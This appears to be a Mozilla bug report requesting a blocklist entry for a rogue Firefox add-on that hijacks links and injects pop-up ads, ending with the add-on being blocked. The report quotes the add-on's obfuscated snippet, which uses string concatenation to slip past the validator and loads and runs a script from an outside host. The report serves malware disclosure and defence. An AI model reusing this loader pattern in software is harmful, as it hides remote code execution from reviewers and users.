1231010 - Rogue YouTube Video Downloader addon hijacking links and injecting pop ups

Status: RESOLVED FIXED

(Toolkit :: Blocklist Policy Requests, defect)

Description

[Swarnava Sengupta (:Swarnava)]

The unlisted addon YouTube Video Downloader is currently executing remote code to hijack links and inject pop up ads. Homepage[http://addoncrop.com/youtube_video_downloader/].

This has been brought to attention in the following post: https://www.reddit.com/r/firefox/comments/3vl3yz/getting_tons_of_popup_tabs_all_of_a_sudden_with/1

A quick inspection to its source code already shows a red flag in its include folder contents, namely the link_modifier.js file which contains the following code in its entirity:

    var s = document.createElement('scr'+'ipt');
    s.type = 'text/ja'+'va'+'scr'+'ipt';
    s.src = 'http://www.sourcecrab.com/YouTube_Extend/ff_http_extend.js';
    document.getElementsByTagName('head')[0].appendChild(s);

It is evident that the developer intended to bypass the AMO validator (when it was running for unlisted addons) by creating a dangerous element via string concatenation. In this file it loads and executes an external script.

I didn't find any notice/content policy informing the user of this malware-like behavior and don't think needed to inspect more of the source code after finding that file.


Discouse link:- https://discourse.mozilla-community.org/t/rogue-youtube-video-downloader-addon-hijacking-links-and-injecting-pop-ups/5784/1

Comment 1

[noitidart]

I can't seem to find this addon on AMO. Is it only hosted from a 3rd party?

Comment 2

[Lars Gusowski [:lagu]]

Right link form reddit board is http://www.iks.hs-merseburg.de/~gruni/netfaq/homepage-nutzen.html

Seems that it is an unlisted addon and only hosted from 3rd party

Comment 3

[noitidart]

(In reply to Lars Gusowski [:lagu] from comment #2)
> Right link form reddit board is
> http://www.iks.hs-merseburg.de/~gruni/netfaq/homepage-nutzen.html
> 
> Seems that it is an unlisted addon and only hosted from 3rd party

Thanks Lars, our admins are in an all hands meeting and we will get to them asap

Comment 4

[Lars Gusowski [:lagu]]

https://www.reddit.com/r/firefox/comments/3vl3yz/getting_tons_of_popup_tabs_all_of_a_sudden_with/ it the right link :(
not sure why i posted a link to the tespage from an university :/

Comment 5

[Jorge Villalobos [:jorgev] (he/him)]

Sorry for the delay. I contacted the developers and will give them some time to respond.

Comment 6

[Jorge Villalobos [:jorgev] (he/him)]

Blocked: https://addons.mozilla.org/en-US/firefox/blocked/i1077